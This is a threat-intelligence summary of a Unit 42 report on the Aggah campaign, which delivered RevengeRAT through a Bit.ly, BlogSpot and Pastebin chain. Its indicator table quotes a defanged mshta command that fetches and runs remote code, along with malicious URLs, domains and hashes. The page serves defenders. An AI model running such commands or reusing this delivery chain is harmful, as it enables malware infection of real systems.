Aggah Campaign: Bit.ly, BlogSpot, and Pastebin Used for C2 in Large Scale Campaign
Aggah campaign abuses Bit.ly, BlogSpot, and Pastebin as multi-hop C2 to deliver RevengeRAT across the Middle East, US, Europe, and Asia.
Unit 42 details the Aggah campaign, which began with spearphishing emails in March 2019 spoofing a large financial institution and targeting education, media/marketing, and government organizations in the Middle East, later expanding to the US, Europe, and Asia. Delivery documents use Template Injection to load a remote OLE file whose macro runs mshta against a Bit.ly link redirecting to a BlogSpot post, which then uses Pastebin pastes to download RevengeRAT configured with a duckdns[.]org C2 domain. The embedded script also deletes Microsoft Defender signatures and kills Defender and Office processes, and modifies registry keys to enable macros. High-level TTPs resemble the Gorgon Group, but Unit 42 could not confirm attribution.
- Bit.ly, BlogSpot, and Pastebin chained as multi-hop C2 infrastructure
- RevengeRAT delivered with duckdns[.]org C2 domains
- Targets span education, government, financial, and other sectors globally
- Script removes Defender signatures and disables Office macro security
- Possible Gorgon Group link not confirmed with high-fidelity indicators
- ATT&CK
- T1566.001 Spearphishing AttachmentT1221 Template InjectionT1204.002 User Execution: Malicious FileT1218.005 MshtaT1562.001 Impair Defenses: Disable or Modify Tools
- Vendors
- Unit 42
- Threat actors
- Gorgon Group
- Malware
- RevengeRAT
- Organizations
- Unit 42
- Countries
- United States
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | blogspot.com | alysis, the shortened bit.ly URL redirected to hxxps://bjm9.blogspot[.]com/p/si.html , as seen in the “Location” field of the HTTP r |
| domain | duckdns.org | ult in the final payload being RevengeRAT configured with a duckdns[.]org domain for C2. During our research, we found several rela |
| domain | wixstatic.com | attempts to load a remote OLE document from hxxps://static.wixstatic[.]com/ugd/05e470_b104c366c1f7423293887062c7354db2.doc : Figure |
| sha256 | 5f762589cdb8955308db4bba140129f172bf2dbc1e979137b6cc7949f7b19e6f | ooter of Activity.doc file is actually an RTF file (SHA256: 5f762589cdb8955308db4bba140129f172bf2dbc1e979137b6cc7949f7b19e6f ) that loads an embedded Excel document with a heavily obfu |
| sha256 | d7c92a8aa03478155de6813c35e84727ac9d383e27ba751d833e5efba3d77946 | document attached with the filename “Activity.doc” (SHA256: d7c92a8aa03478155de6813c35e84727ac9d383e27ba751d833e5efba3d77946 ) that attempted to load a remote OLE document via Template |
| url | https://bjm9.blogspot.com/p/si.html | WildFire's analysis, the shortened bit.ly URL redirected to hxxps://bjm9.blogspot[.]com/p/si.html , as seen in the “Location” field of the HTTP response in |
| url | https://pastebin.com/raw/tb5gHu2G | n to download a script from a Pastebin URL, specifically at hxxps://pastebin[.]com/raw/tb5gHu2G that we will continue to refer to as the tb5gHu2G script. |
| url | https://static.wixstatic.com/ugd/05e470_b104c366c1f7423293887062c7354db2.doc | t’s footer that attempts to load a remote OLE document from hxxps://static.wixstatic[.]com/ugd/05e470_b104c366c1f7423293887062c7354db2.doc : Figure 2. Footer in Activity.doc showing remote OLE loc |
| url | http://www.bitly.com/SmexEaldos3 | nd execute the following URL via the "Shell" command: mshta hxxp://www.bitly[.]com/SmexEaldos3 The command above uses the built-in “mshta” application t |
From the original article
10 min read at unit42.paloaltonetworks.com
In March 2019, Unit 42 began looking into an attack campaign that appeared to be primarily focused on organizations within a Middle Eastern country. Further analysis revealed that this activity is likely part of a much larger campaign impacting not only that region but also the United States, and throughout Europe and Asia.
By Brittany Barbehenn · unit42.paloaltonetworks.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.